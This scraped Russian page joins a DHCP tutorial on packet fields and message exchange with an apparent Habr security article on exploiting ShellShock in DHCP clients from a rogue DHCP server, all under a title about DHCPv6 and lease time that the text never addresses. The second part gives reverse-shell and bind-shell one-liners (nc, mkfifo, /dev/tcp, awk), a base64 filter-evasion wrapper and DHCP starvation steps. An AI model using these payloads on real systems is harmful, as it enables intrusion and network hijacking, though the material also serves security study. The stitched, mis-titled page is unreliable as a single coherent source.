Что напоминает концепция пересылки dhcpv6 – Время аренды IP-адреса в протколе DHCP. Option 51: IP Address Lease Time. Как происходит перезапрос и освобождение IP-адреса?

Содержание

Формат, структура и назначение DHCP пакетов и сообщений: DHCPDISCOVER, DHCPOFFER, DHCPREQUEST и DHCPACK

Привет, посетитель сайта ZametkiNaPolyah.ru! Продолжаем изучать основы работы компьютерных сетей. Продолжаем разбираться с протоколом DHCP в рамках подготовки к CCNA. В протоколе DHCP для сетевого инженера нет ничего сложного, вы в этом убедитесь сразу после того, как мы с вам разберемся со структурой DHCP-пакетов и увидим как сервер и клиент отправляют другу другу сообщения, в этой записи мы разберем четыре самых часто используемых DHCP-сообщения: DHCPDISCOVER, DHCPOFFER, DHCPREQUEST и DHCPACK.

Перед началом я хотел бы вам напомнить, что ознакомиться с опубликованными материалами первой части курса можно по ссылке: «Основы взаимодействия в компьютерных сетях».

9.3.1 Введение

Содержание статьи:

Здесь мы рассмотрим структуру DHCP пакета и поговорим о их назначении DHCP-сообщений. В частности будут рассмотрены такие виды DHCP сообщений как: DHCPDISCOVER, DHCPOFFER, DHCPREQUEST и DHCPACK. Дам небольшое пояснение по поводу того, что я буду подразумевать под словом DHCP-пакет, а что под DHCP-сообщением. Под первым я буду понимать физическую сущность со строгой структурой, а под вторым я буду понимать логический смысл, который несет в себе физическая сущность, пакет всего один, а сообщений много и они разные.

9.3.2 Общая структура DHCP пакета, назначение его полей и их размер

Мы довольно наглядно рассмотрели процесс получения IP-адреса по DHCP в Cisco Packet Tracer, но хотелось бы понимать то, как устроены пакеты DHCP, которыми обменивается клиент и сервер. Тут у меня для вас две новости:

  1. Начну с хорошей. При обмене различными сообщениями и клиент, и сервер используют пакеты с одинаковой структурой, а это означает, что поля в различных DHCP-сообщениях имеют одинаковые названия и одинаковый размер, за исключением поля Options, о котором мы говорили, в записи про DHCP протокол, но в них указываются разные значения.
  2. Вторая новость не то что бы плохая, но всё же. Различного рода сообщений в DHCP много и не со всеми вы будете сталкиваться и не все вам будут нужны, но если столкнетесь, то придется почитать RFC, чтобы понять, как это должно работать, а потом заглянуть в дамп, чтобы увидеть, как это работает по факту.

На рисунке ниже вы можете увидеть структуру DHCP-пакета, там показаны поля DHCP пакета и их размер.

9.3.1 Структура DHCP-пакета, поля и их размер

9.3.1 Структура DHCP-пакета, поля и их размер

Сама по себе картинка нам еще ничего не дает, кроме названия полей в DHCP-пакета, также мы видим, что пакет разбивается на строки (иначе, машинные слова), каждая строка 32-а бита. Крайний левый бит в слове имеет нулевой порядковый номер, а крайний правый бит 31-ый. Размер всех полей в битах кратен числу 8.

Давайте теперь поговорим более подробно о каждом поле DHCP пакета. Для их описания я подготовил таблицу.

ПолеОписаниеДлина (в байтах)
opcode (op)Самое первое поле указывает нам на тип DHCP-сообщения. Если в этом поле вы видите значение 0×01, то это говорит нам о том, что сообщение является запросом от клиента к серверу. Такое сообщение еще иногда называется BOOTREQUEST. Если же в поле opCode записано значение 0×02, то это означает, что оно являет ответом DHCP-сервера или BOOTREPLY.1
Hardware Type (htype)Тип адреса на канальном уровне. DHCP может работать поверх различных протоколов на канальном уровне, чтобы устройства понимали, что крутится на L2, нужно это поле. У этого поля есть список допустимых значений (смотрите RFC 1700), случайное значение здесь появиться не должно. Для протокола Ethernet и его MAC-адресов используется значение 0×01.1
Hardware Length (hlen)Длина аппаратного адреса в байтах. Для протокола Ethernet и, соответственно, мак-адресов, указывается значение 0×06. 1
HopsКоличество промежуточных маршрутизаторов, которые находятся на пути между клиентом и сервером. Сейчас нам это поле пока не интересно, с ним мы поработаем, когда будем разбираться с DHCP Relay Agent. DHCP-клиенты всегда в это поле записывают значение 0×00.1
Transaction ID (xid)Когда клиент начинает процесс получения IP-адреса, он генерирует значение для этого поля, чтобы сервер не дай бог не перепутал конкретный процесс этого клиента с другим процессом.4
Seconds Elapsed (secs)Время в секундах с момента начала процесса получения IP-адреса, это время обычно никого не интересует и обычно в нем стоят нули: 0×0000.2
FlagsПоле для флагов или специальных параметров протокола DHCP.2
Client IP Address (ciaddr)Поле, в котором указывается IP-адрес клиента. Клиент заполняет его только в том случае, если у него уже есть IP-адрес и он может ответить на ARP-запрос. Такая ситуация возможно в том случае, если клиент хочет продлить время аренды IP-адреса.4
Your ID Address (yiaddr)В это поле DHCP-сервер вписывает IP-адрес, который хочет предложить клиенту.4
Server IP Address (siaddr)IP-адрес сервера. Сервер указывает свой IP-адрес, когда делает DHCPOFFER.4
Gateway IP Address (giaddress)Если используется схема с DHCP Relay Agent, то в этом поле передается его IP-адрес.4
Client Hardware Address (chaddr)Если на канальном уровне используется протокол Ethernet, то в это поле записывается MAC-адрес клиента. 16
Server Host Name (sname)Если у сервера есть доменное имя/имя хоста, то он может сообщить его в этом поле, поле не является обязательным.64
Boot File (file)Это поле также не является обязательным и служит указателем для бездисковых рабочих станций о том, как называется файл на сервере, которые следует использовать для загрузки.128
OptionsПоле опций, в котором передается львиная доля полезной информации для динамической конфигурации хоста. Про опции мы уже говорили, здесь останавливаться не будем.Переменная

Объемная, но довольно простая и логичная структура DHCP-пакета, от которой можно отталкиваться при рассмотрении различных DHCP-сообщений.

9.3.3 Сообщение DHCPDISCOVER или как клиент ищет DHCP сервер?

Начнем мы с сообщения DHCPDISCOVER, как вы помните, это сообщение использует клиент для поиска DHCP-серверов в своей канальной среде. Чтобы не быть голословными, будем смотреть на примере дампа из Wireshark. Для начала посмотрим на то, как клиент инкапсулирует сообщение DHCPDISCOVER.

9.3.2 Как инкапсулируется и передается по сети сообщение DHCPDISCOVER

9.3.2 Как инкапсулируется и передается по сети сообщение DHCPDISCOVER

Всё самое важное подсвечено красным цветом. Мы видим, что в качестве мак-адреса источника клиент подставил свой мак-адрес, а вот мак-адрес сервера он не знает, поэтому использует широковещательный мак-адрес. Даже если клиент будет знать IP-адрес DHCP-сервера, ему это не поможет, ведь для того, чтобы обратиться к серверу по протоколу IP, клиент должен сделать ARP-запрос, а как он это сделает, если у него еще нет IP-адреса?

В заголовке IP-пакета в качестве адреса источника клиент использовал 0.0.0.0, а IP-адрес назначения опять широковещательный – 255.255.255.255. DHCP упаковывается на транспортном уровне в UDP, поскольку сообщение DHSPDISCOVER генерирует клиент, он в качестве порта источника использует значение 68, а в качестве порта назначения 67. Ну и наконец мы видим, что Wireshark смог определить, что это сообщение DHCPDISCOVER. Попробуем определить и мы.

9.3.3 Формат сообщения DHCPDISCOVER

9.3.3 Формат сообщения DHCPDISCOVER

Для этого заглянем внутрь DHCP-пакета и проанализируем значения его полей. В самом верху мы видим тип сообщения Boot Request (это поле opcode), значение 1 говорит нам о том, что это клиент что-то посылает серверу. Следующих два поля сообщают нам, что на канальном уровне используется Ethernet и указана длина аппаратного адреса. Поле Hops имеет значение 0, а значит клиент считает, что он находится с сервером в одной канальной среде. Когда клиент начал общение с сервером, он сгенерировал уникальный Transaction ID, по которому можно будет отличить этот процесс получения IP-адреса от какого-нибудь другого. Поле Second Elapsed никому не интересно, тут обычно стоит 0.

Флаги – отдельная тема, сейчас мы их пропустим. У клиента еще нет и не было IP-адреса, клиент не знает IP-адрес сервера, клиент ничего не знает по DHCP Relay Agent, клиент сам себе не может выдать IP-адрес, поэтом следующих четыре поля имеют значения 0.0.0.0. В поле Client MAC Address клиент сообщает свой мак-адрес серверу. А вот поле Client Hardware Address Padding различается для машин с Windows и Linux, сейчас вы видите значение для Windows, это поле мы обсудим позже.

Далее клиент сообщает серверу о том, что ему не нужно сообщать hostname сервера и не надо давать ссылку на Boot-файл. Ну а поле Magic Cookie сообщает о том, что начались DHCP опции и нам нужно обратить внимание на следующий рисунок.

9.3.4 DHCP опции, которые передает клиент серверу в сообщение DHCPDISCOVER

9.3.4 DHCP опции, которые передает клиент серверу в сообщение DHCPDISCOVER

Во-первых, стоит сразу отметить, что количество опции, да и сами опции, которые будут в сообщение DHCPDISCOVER зависят от настроек клиента. Первая опция имеет код 53, так клиент сообщает всем в сети, что данное сообщение является сообщением DHCPDISCOVER. Опция с кодом 61 используется клиентом, чтобы сообщить свой мак-адрес. В опции с кодом 50 клиент сообщает, что хотел бы получить от сервера IP-адрес 192.168.0.100. Опция с кодом 12 используется клиентом, чтобы сообщить свой hostname.

Опция с кодом 60 служит для того, чтобы клиент мог рассказать серверу о том, кто является разработчиком программного обеспечения DHCP-клиента, и какая версия ПО используется, опираясь на эту опцию сервер может понять с какими опциями умеет работать клиент. DHCP опция с кодом 55 служит для того, чтобы клиент мог запросить у сервера необходимые на его взгляд параметры, при этом не факт, что сервер сможет сообщить клиенту все указанные параметры.

Список опций завершает опция с кодом 255, так сервер поймет, что опций больше не будет и само DHCP-сообщение закончилось.

9.3.4 Сообщение DHCPOFFER или как сервер предлагает клиенту IP-адрес?

Перейдем к сообщение DHCPOFFER, которым сервер отвечает на запрос DHCPDISCOVER от клиента, тут самый первый вопрос, который у вас должен возникнуть: а как сервер отправляет сообщение DHCPOFFER – broadcast или unicast. Правильным будет ответ: сервер может передавать сообщение DHCPOFFER как широковещательно, так и адресно, вот что написано в RFC протокола DHCP.

Если поле giaddr в сообщении DHCP от клиента отлично от 0, сервер передает все отклики на сообщения в порт DHCP server транслятору BOOTP, адрес которого указан в поле giaddr. Если giaddr = 0, а поле ciaddr отлично от нуля, сервер передает сообщения DHCPOFFER и DHCPACK по индивидуальному адресу ciaddr. Если giaddr = 0, ciaddr = 0 и установлен флаг broadcast, сервер передает сообщения DHCPOFFER и DHCPACK по широковещательному адресу 0xffffffff. Если флаг broadcast не установлен, а giaddr и ciaddr имеют значение 0, сервер передает сообщения DHCPOFFER и DHCPACK по индивидуальному аппаратному адресу клиента и yiaddr. Во всех случаях, когда giaddr = 0, сервер отправляет сообщения DHCPNAK по широковещательному адресу 0xffffffff.

9.3.5 DHCPOFFER - сообщение, которое отправляет сервер в ответ на DHCPDISCOVER

9.3.5 DHCPOFFER — сообщение, которое отправляет сервер в ответ на DHCPDISCOVER

Если посмотреть на дамп протокола IP, то можно будет увидеть, что сервер не просто направил клиенту DHCPOFFER юникастом, но и более того, в поле IP-адрес назначения был подставлен IP-адрес, который был запрошен клиентом в сообщение DHCPDISCOVER. Главным образом такое поведение DHCP-сервера связано с тем, какие флаги были получены им от клиента.
Обратите внимание, что в сообщение DHCPOFFER сервер еще не использует предлагаемый IP-адрес в поле Client IP Address, там еще находятся унылые нули. В поле Your IP Address сервер предлагает клиенту тот IP-адрес, который он у него запросил, естественно, перед тем как его предложить, сервер убедился в том, что этот адрес свободен. Как видим, сообщение DHCPOFFER по своему содержимому не сильно отличается от DHCPDISCOVER, теперь давайте посмотрим на опции, которые сервер предложил клиенту.

9.3.6 DHCP опции в сообщение DHCPOFFER

9.3.6 DHCP опции в сообщение DHCPOFFER

Во-первых, опции в сообщение DHCPOFFER, как и в любых других сообщениях, начинаются с Magic Cookie, а заканчиваются 255 опцией. Во-вторых, сервер не знал всех опций, которые у него попросил клиент, поэтому выдал то, что смог. После Magic Cookie сервер сообщает, что этот пакет несете в себе сообщение DHCPOFFER. Следующим шагом он сообщает клиенту свой идентификатор. А вот опция с кодом 51 несет в себе очень важную информацию о времени аренды IP-адреса, об этом времени у нас будет отдельный разговор.

Еще из полезного сервер предложил в качестве опций клиенту IP-адрес шлюза по умолчанию, маску подсети и адрес DNS-сервера.

9.3.5 Сообщение DHCPREQUEST или как клиент делает запрос на получение IP-адреса?

Сервер не обязан резервировать за клиентом IP-адрес, который он предлагает в DHCPOFFER, обычно резервирование происходит сразу после или во время отправки сообщения DHCPACK. Но это будет после, сейчас клиент должен сообщить серверу о том, что он согласен на получение предложенного IP-адреса и опций, а также сообщить серверу еще немного полезной информации.

ПРИМЕЧАНИЕ: здесь мы пропускаем все проверки на занятость/свободность IP-адреса, это мы обсудили при прошлом разговоре и сейчас считаем, что они есть и в результате этих проверок IP-адрес свободен.

Давайте посмотрим, как выглядит сообщение DHCPREQUEST в дампе Wireshark.

9.3.7 Сообщение DHCPREQUEST или как клиент делает запрос на получение IP-адреса

9.3.7 Сообщение DHCPREQUEST или как клиент делает запрос на получение IP-адреса

Сразу бросается в глаза то, что DHCPREQUEST отправляется не адресно, а широковещательно, тут дело в том, что клиент должен сообщить всем серверам о том, какой адрес он хочет получить и с каким сервером он хочет продолжать взаимодействие. Все поля сверху, за исключением поля Message Type, имеют точно такие же значения, как и в сообщение DHCPDISCOVER, а вот поля опций изменились, давайте на них и посмотрим.

Magic cookie: DHCP Option: (53) DHCP Message Type (Request) Length: 1 DHCP: Request (3) Option: (61) Client identifier Length: 7 Hardware type: Ethernet (0x01) Client MAC address: IntelCor_b3:71:b7 (bc:a8:a6:b3:71:b7) Option: (50) Requested IP Address Length: 4 Requested IP Address: 192.168.0.100 Option: (54) DHCP Server Identifier Length: 4 DHCP Server Identifier: 192.168.0.1 Option: (12) Host Name Length: 15 Host Name: DESKTOP-B0A442D Option: (81) Client Fully Qualified Domain Name Length: 18 Flags: 0x00 A-RR result: 0 PTR-RR result: 0 Client name: DESKTOP-B0A442D Option: (60) Vendor class identifier Length: 8 Vendor class identifier: MSFT 5.0 Option: (55) Parameter Request List Length: 14 Parameter Request List Item: (1) Subnet Mask Parameter Request List Item: (3) Router Parameter Request List Item: (6) Domain Name Server Parameter Request List Item: (15) Domain Name Parameter Request List Item: (31) Perform Router Discover Parameter Request List Item: (33) Static Route Parameter Request List Item: (43) Vendor-Specific Information Parameter Request List Item: (44) NetBIOS over TCP/IP Name Server Parameter Request List Item: (46) NetBIOS over TCP/IP Node Type Parameter Request List Item: (47) NetBIOS over TCP/IP Scope Parameter Request List Item: (119) Domain Search Parameter Request List Item: (121) Classless Static Route Parameter Request List Item: (249) Private/Classless Static Route (Microsoft) Parameter Request List Item: (252) Private/Proxy autodiscovery Option: (255) End Option End: 255

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

Magic cookie: DHCP

Option: (53) DHCP Message Type (Request)

Length: 1

DHCP: Request (3)

Option: (61) Client identifier

Length: 7

Hardware type: Ethernet (0x01)

Client MAC address: IntelCor_b3:71:b7 (bc:a8:a6:b3:71:b7)

Option: (50) Requested IP Address

Length: 4

Requested IP Address: 192.168.0.100

Option: (54) DHCP Server Identifier

Length: 4

DHCP Server Identifier: 192.168.0.1

Option: (12) Host Name

Length: 15

Host Name: DESKTOP-B0A442D

Option: (81) Client Fully Qualified Domain Name

Length: 18

Flags: 0x00

A-RR result: 0

PTR-RR result: 0

Client name: DESKTOP-B0A442D

Option: (60) Vendor class identifier

Length: 8

Vendor class identifier: MSFT 5.0

Option: (55) Parameter Request List

Length: 14

Parameter Request List Item: (1) Subnet Mask

Parameter Request List Item: (3) Router

Parameter Request List Item: (6) Domain Name Server

Parameter Request List Item: (15) Domain Name

Parameter Request List Item: (31) Perform Router Discover

Parameter Request List Item: (33) Static Route

Parameter Request List Item: (43) Vendor-Specific Information

Parameter Request List Item: (44) NetBIOS over TCP/IP Name Server

Parameter Request List Item: (46) NetBIOS over TCP/IP Node Type

Parameter Request List Item: (47) NetBIOS over TCP/IP Scope

Parameter Request List Item: (119) Domain Search

Parameter Request List Item: (121) Classless Static Route

Parameter Request List Item: (249) Private/Classless Static Route (Microsoft)

Parameter Request List Item: (252) Private/Proxy autodiscovery

Option: (255) End

Option End: 255

Показываю в виде дампа, так как не удалось вывести все опции в одном скрине. Опция 53 сообщает нам о том, что это сообщение у нас DHCPREQUEST. Далее идут знакомые нам уже опции, а вот на опции с кодом 54 мы остановимся (DHCP Server Identifier), этой опцией клиент сообщает все серверам о том, с кем из них он намерен продолжать сотрудничать. Опцией 81 клиент сообщает серверу свое имя, а вдруг пригодится. А в опции 55 клиент пытается упрекнуть сервера, мол, смотри, сколько я у тебя опций запрашивал и что ты мне выдал, ты точно не сможешь дать мне все то, о чем я тебя прошу?

3.6 Сообщение DHCPACK или как сервер назначает IP-адрес клиенту?

Обычно сервер резервирует IP-адрес клиенту и начинает отсчет времени аренды после того, как отправляет сообщение DHCPACK, этим сообщением он подтверждает клиенту факт выдачи IP-адреса, всё, получите, распишитесь, обращайтесь, если что. Ничего особо нового в DHCPACK сообщение мы не увидим, сервер подтвердит адрес, который запросил клиент и вышлет все опции, которые он может выслать.

9.3.8 Сообщение DHCPACK или как сервер подтверждает выдачу IP-адреса клиенту

9.3.8 Сообщение DHCPACK или как сервер подтверждает выдачу IP-адреса клиенту

Обычно сообщение DHCPACK сервер старается выслать клиенту адресно, не прибегая к широковещанию, хотя иногда бывают и исключения. Главным требованием к содержимому сообщения DHCPACK должна быть непротиворечивость тому, что было отправлено в сообщение DHCPOFFER. Пожалуй, это всё, что следовало сказать про DHCPACK.

3.7 Выводы

Итак, на этот раз мы подробно разобрали структуру DHCP-пакета и разобрались с содержимым самых часто используемых сообщений в протоколе DHCP и с тем, как они отправляются, еще раз напомню: сообщение DHCPDISCOVER отправляется как broadcast клиентом, этим сообщением он ищет сервер; когда сервер получает DHCPDISCOVER, он формирует сообщение DHCPOFFER, которое может быть отправлено как unicast, так и broadcast (в большей степени это зависит от того, как будет удобно клиенту), в этом сообщение сервер предлагает клиенту IP-адрес; в ответ на DHCPOFFER клиент формирует DHCPREQUEST – сообщение, которым клиент дает согласие на получение предложенного IP-адреса, сообщение исключительно широковещательное; в завершении сервер резервирует IP-адрес и отправляет сообщение DHCPACK, это сообщение служит квитанцией о выдаче адреса.

Атакуем DHCP / Digital Security corporate blog / Habr

В данной статье мы расскажем, как эксплуатировать ShellShock на клиенте DHCP и получить на нем полноценный reverse или bind shell. Интернет пестрит статьями, повествующими о возможностях эксплуатации shellshock на DHCP-клиентах. Есть даже статьи о том, как получить reverse shell на DHCP-клиенте. Однако, стабильно и повсеместно работающего инструмента для получения shell мы еще не встречали. Те, кто в теме, возможно, нового здесь не увидят, но не исключено, что вам будет интересно узнать, как нам удалось автоматизировать получение reverse и bind shell в условиях фильтрации и экранирования символов на стороне DHCP-клиента. Кроме того, мы расскажем и о том, чем вообще может быть интересен протокол DHCP.

Протокол DHCP применяется для автоматического назначения IP-адреса, шлюза по умолчанию, DNS-сервера и т.д. В качестве транспорта данный протокол использует UDP, а это значит, что мы можем без особых проблем подменять все интересующие нас поля в сетевом пакете, начиная с канального уровня: MAC-адрес источника, IP-адрес источника, порты источника — то есть все, что нам хочется.


Работает DHCP, в двух словах, примерно так:


  1. DHCPDISCOVER Клиент отправляет широковещательный сетевой пакет с целью найти DHCP-сервер в сети, при этом с канальным уровнем все понятно и о нем писать дальше не будем, сетевой — исходя из собственного опыта, здесь может быть всякое — зависит от клиента, но должно быть:

    SRC IP: 0.0.0.0, DST IP: 255.255.255.255.
    На транспортном уровне все запросы отправляются так:
    SRC PORT: 68, DST PORT: 67
    Соответственно, когда сервер отвечает клиенту:
    SRC PORT: 67, DST PORT: 68

    Контрольную сумму UDP можно не считать. Мы не встречали ни одного DHCP-сервера, который бы ее проверял, да и сетевое оборудование пропускает пакеты с нулевым значением UDP checksum без проблем. В первом байте прикладного уровня (поле op — тип сообщения) клиент выставляет значение — 0х01 (BOOTREQUEST — запрос от клиента к серверу). На остальных полях пакета не будем останавливаться, поскольку их описание, длина и значения есть в RFC и в WIKI. В запросе от клиента нам также интересно поле xid (Transaction ID — рандомное число размером 4 байта по смещению 0х04 от начала прикладного уровня в пакете). Если сервер в ответе выставит поле xid не равным xid клиента, то клиент отбросит ответ от сервера, поскольку посчитает, что этот ответ в другой транзакции. Остановимся на DHCP-опциях пакета. Всего их 256, а полный список можно найти здесь или тут. Клиент обязательно выставляет опцию с кодом 53 (DHCP message type тип DHCP сообщения) равной 0х01, это значит, что данный пакет предназначен для нахождения DHCP-сервера, и опцию 55 (Parameter Request List список запрашиваемых у сервера параметров, например адрес шлюза, маска подсети, DNS-серверы и т.д.).

    Вот так выглядит этот запрос в WireShark:


  2. DHCPOFFER Сервер получает запрос от клиента и отправляет ему предложение. На сетевом уровне в качестве SRC IP сервер выставляет свой IP-адрес, в DST IP должно быть: 255.255.255.255, но это не всегда так. В DST IP также может быть выставлен IP-адрес, выделенный клиенту, или IP-адрес ретранслятора, если тот участвует в процессе. Вы спросите, а как же пакет доходит до клиента, если у него еще нет IP-адреса? Все просто: в DHCPDISCOVER- и DHCPREQUEST-запросах, в поле chaddr (Сlient MAC address) клиент указывает свой MAC-адрес.

    Таким образом, сервер или ретранслятор знают, куда доставлять пакет на канальном уровне, поскольку сервер или ретранслятор всегда находятся в пределах одного широковещательного домена с клиентом, а что происходит на сетевом уровне, не так уж и важно UDP магия. В типе сообщения значение 0х02 (BOOTREPLY — ответ сервера клиенту). В поле xid выставляется значение, равное значению поля xid в запросе клиента. В поле yiaddr (Your (client) IP address) выставляется IP-адрес клиента, предложенный сервером. Что появляется в DHCP-опциях: в опции с кодом 53 (DHCP message type) значение — 0х02 (DHCPOFFER), код 51 (IP Address Lease Time) — время аренды IP-адреса, код 54 (Server Identifier) — IP-адрес DHCP-сервера. Все остальные опции предложения зависят от того, какие параметры запросил клиент, их список клиент указал в DHCPDISCOVER-запросе в опции с кодом 55 (Parameter Request List).


  3. DHCPREQUEST Клиент отправляет серверу запрос на получение сетевых параметров. На сетевом уровне должно быть так: SRC IP: 0.0.0.0 DST IP: 255.255.255.255 но может быть и так: в SRC IP выставляется IP-адрес, который назначил сервер в своем предложении (поле yiaddr), а в DST IP выставляется IP-адрес, который расположен в опции предложения сервера с кодом 54 (Server Identifier). DHCP-опции в этом запросе не отличаются от DHCPDISCOVER-запроса, за исключением опции с кодом 53 (DHCP message type тип DHCP сообщения), равной 0х03 — это значит, что данный пакет предназначен для запроса параметров от DHCP-сервера. И еще клиент добавляет в запрос опцию с кодом 54 (Server Identifier), поскольку уже знает IP-адрес сервера, а также опцию с кодом 50 (Requested IP address). Кроме того, клиент может выставить опцию 12(Host Name Option свое имя хоста) и т.п.


  4. DHCPACK Сервер отправляет клиенту подтверждение. На сетевом уровне должно быть так: SRC IP: <IP-адрес сервера> DST IP: 255.255.255.255. Опции и поля этого пакета не отличаются от DHCPOFFER, за исключением опции с кодом 53 (DHCP message type тип DHCP-сообщения), равной 0х05 — это значит, что данный пакет — подтверждение от DHCP-сервера.

Далее, клиент с помощью протокола ARP пытается обнаружить конфликт IP-адресов в локальной сети (Address Conflict Detection). Если конфликт не найден, клиент выставляет полученные из DHCPACK параметры сетевому интерфейсу. Если обнаружен, клиент рассылает широковещательное сообщение отказа DHCP DHCPDECLINE, после чего процедура получения IP-адреса повторяется.

Также у протокола DHCP есть еще одна особенность: если клиент ранее отправлял запрос DHCPDISCOVER, то при повторном подключении к той же сети клиент сразу отправляет DHCPREQUEST; при этом в DHCP-опции с кодом 50 (Requested IP address) выставляется IP-адрес, полученый ранее.

Остановимся на упомянутом DHCPDECLINE подробнее. На практике это выглядит так:


  1. Клиент отправляет DHCPREQUEST, поскольку уже подключался к этой сети. Transaction ID: 0x825b824a; Requested IP: 192.168.1.171; Client MAC address: 08:00:27:ce:7a:64


  2. Сервер отвечает DHCPACK.
    Transaction ID: 0x825b824a; yiaddr: 192.168.1.171; siaddr: 192.168.1.1; router: 192.168.1.1


  3. Клиент с помощью протокола ARP узнает MAC-адрес шлюза, а далее, через тот же ARP, пытается обнаружить конфликт IP-адресов в локальной сети (Address Conflict Detection). Запрос выглядит так:

    sender mac: 08:00:27:ce:7a:64; sender ip: 0.0.0.0; target mac: 00:00:00:00:00:00; target ip: 192.168.1.171


  4. Хост с IP-адресом 192.168.1.171 отвечает на ARP-запрос.


  5. Клиент выявил конфликт IP-адресов в сети и отправляет широковещательный DHCPDECLINE.

    Transaction ID: 0x825b824a; Requested IP: 192.168.1.171; ciaddr: 192.168.1.171


  6. Процедура получения IP-адреса повторяется, но уже с другим Transaction ID: 0x713a0fe7. Вы обратили внимание на пакеты с номерами 89, 101, 106, 136 и 151? Если да, то наверняка поняли, что на этот раз сервер выделил клиенту IP-адрес 192.168.1.172 и перед этим DHCP-сервер сам с помощью того же ARP (пакеты с номерами 89, 101, 106: Who has 192.168.1.172? Tell 192.168.1.1) убедился, что IP-адрес 192.168.1.172 свободен, и только потом отправил DHCPOFFER. После этого клиент еще раз попытался выявить конфликт IP-адресов (пакеты с номерами 136, 151: Who has 192.168.1.172? Tell 0.0.0.0).

Мы уже знаем, что клиент, подключившись хотя бы раз к сети, будет отправлять только DHCPREQUEST-запрос, выставляя при этом в Requested IP адрес, который получил ранее. Но что если DHCP-сервер уже выделил этот IP-адрес, поменялась конфигурация или адресация, и сервер не может дать клиенту этот адрес? Для этого существует тип сообщения DHCPNAK. Работает он следующим образом:


  1. Клиент отправляет DHCPREQUEST.
    Transaction ID: 0xa7ddc5cb; Requested IP: 192.168.1.14


  2. В настройках сервера указан диапазон, в котором он может выделять IP-адрес, но тот, который запросил клиент, не входит в данный диапазон, поэтому сервер отправляет DHCPNAK.
    Transaction ID: 0xa7ddc5cb; Message: address not available


  3. Процедура получения IP-адреса повторяется, но уже с другим Transaction ID: 0xcfbf77a9.


Перейдем к shellshock

Про то, как и почему работает shellshock, писать нет никакого смысла, ведь эта уязвимость — одна из самых популярных, и о ней есть великое множество статей. Лучше остановимся на моменте, как получить shell на клиенте DHCP, в случае, если мы выступим в роли DHCP-сервера.


В какие поля и опции можно инъектировать?

Ответ: практически в любые! Вот список кодов DHCP-опций, в которые возможно инъектировать (проверено на NetworkManager из состава CentOS 6.5): 14, 18, 43, 56, 60, 61, 62, 63, 64, 66, 67, 77, 80, 82, 83, 84, 86, 87, 90, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 113, 114, 115, 116, 117, 120, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 250, 251, 253.

В нашем PoC мы будем использовать DHCP-опцию с кодом 114 (URL). Почему? Потому, что ее длина — вариативна (максимальная длина — 256 байт), а также потому, что ее все используют. Ее описание еще есть здесь. Существует даже статья о том, как с помощью этой опции обновить уязвимые к shellshock системы 🙂


Какие у нас ограничения?

Ответ: их много, слишком много!


  1. Длина — 256 байт
  2. Возможно использовать только команды интерпретатора
  3. Большое ограничение на используемые символы: некоторые фильтруются, некоторые экранируются. Это зависит от клиента DHCP. Вот набор символов, которые не везде получится использовать: "';&|
  4. После выполнения команды, IPv4-адрес может не присвоиться, в таком случае возможно использовать IPv6 link-local-адрес, если на интерфейсе не включено игнорирование IPv6
  5. Необходимо использовать абсолютные пути, иначе команда может не выполниться

И что тогда делать?

Ответ: обходить ограничения!
Для обхода фильтра мы должны выполнить все одной командой. Сделаем это так:

/bin/sh <(/usr/bin/base64 -d <<< Base64String)

Здесь на вход интерпретатора /bin/sh мы подаем вывод /usr/bin/base64, которая декодирует строку Base64String. Таким образом, мы использовали уже 34 байта, длина Base64String не должна превышать 222 байтов.

А что будет в Base64String? Не забываем про четвертое ограничение, поэтому в первую очередь выставим IP-адрес интерфейсу командой:

/bin/ip addr add <IP>/<MASK> dev eth0;

Эта команда накладывает на нас еще одно ограничение: мы должны знать имя интерфейса, которому выставляем IP-адрес. По умолчанию, в старых версиях Linux, на которых еще есть shellshock, первый сетевой интерфейс называется eth0, так что ориентируемся на него. Еще в эту строку мы должны поместить reverse shell или bind shell.

Для reverse shell будем использовать стандартный shell с использованием nc:

nc -e /bin/sh <IP> <PORT> 2>&1 &
rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PORT> >/tmp/f &

Для reverse shell также можно использовать команду отсюда:

/bin/bash -i >& /dev/tcp/<IP>/<PORT> 0>&1

Для bind shell будем использовать /cmd/unix/bind_awk из состава Metasploit, как один из наиболее коротких:

awk 'BEGIN{s="/inet/tcp/<PORT>/0/0";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' &

PoC


Видео:





Еще немного про DHCP

Ни в коем случае DHCP нельзя рассматривать исключительно как метод получения RCE на клиентах, потому что, во-первых, мы должны ответить быстрее реального DHCP-сервера в сети, и, во-вторых, на клиенте должен быть shellshock, а это маловероятно. Протокол DHCP в первую очередь необходимо рассматривать как метод осуществления MITM.

Поговорим о том, как ответить на любой запрос быстрее DHCP-сервера. Самый очевидный вариант — быть ближе к клиенту по расположению в сети, и еще наше железо и алгоритм должны работать быстрее. Однако, в большинстве случаев это не так.

Есть второй вариант: нужно нагрузить сервер, но при этом не занимать новые IP-адреса в сети, чтобы не исчерпать весь пул свободных адресов (такая атака называется DHCP starvation). Как вы уже поняли, необходимо отправлять большое количество запросов DHCPDISCOVER, поскольку сервер должен обработать каждый из них и отправить в ответ DHCPOFFER. Однако, в рамках данной транзакции DHCPREQUEST мы отправлять не будем, поэтому сервер будет его ждать. IP-адрес не будет считаться выделенным, потому что процедура получения IP не завершена.

Давайте посмотрим, как это выглядит на практике.

Графы нагрузки и процессы до отправки DHCPDISCOVER-запросов:

На рисунках видно, что load average роутера колеблется от 0.1 до 0.3, и процесс dnsmasq занимает 0% CPU.

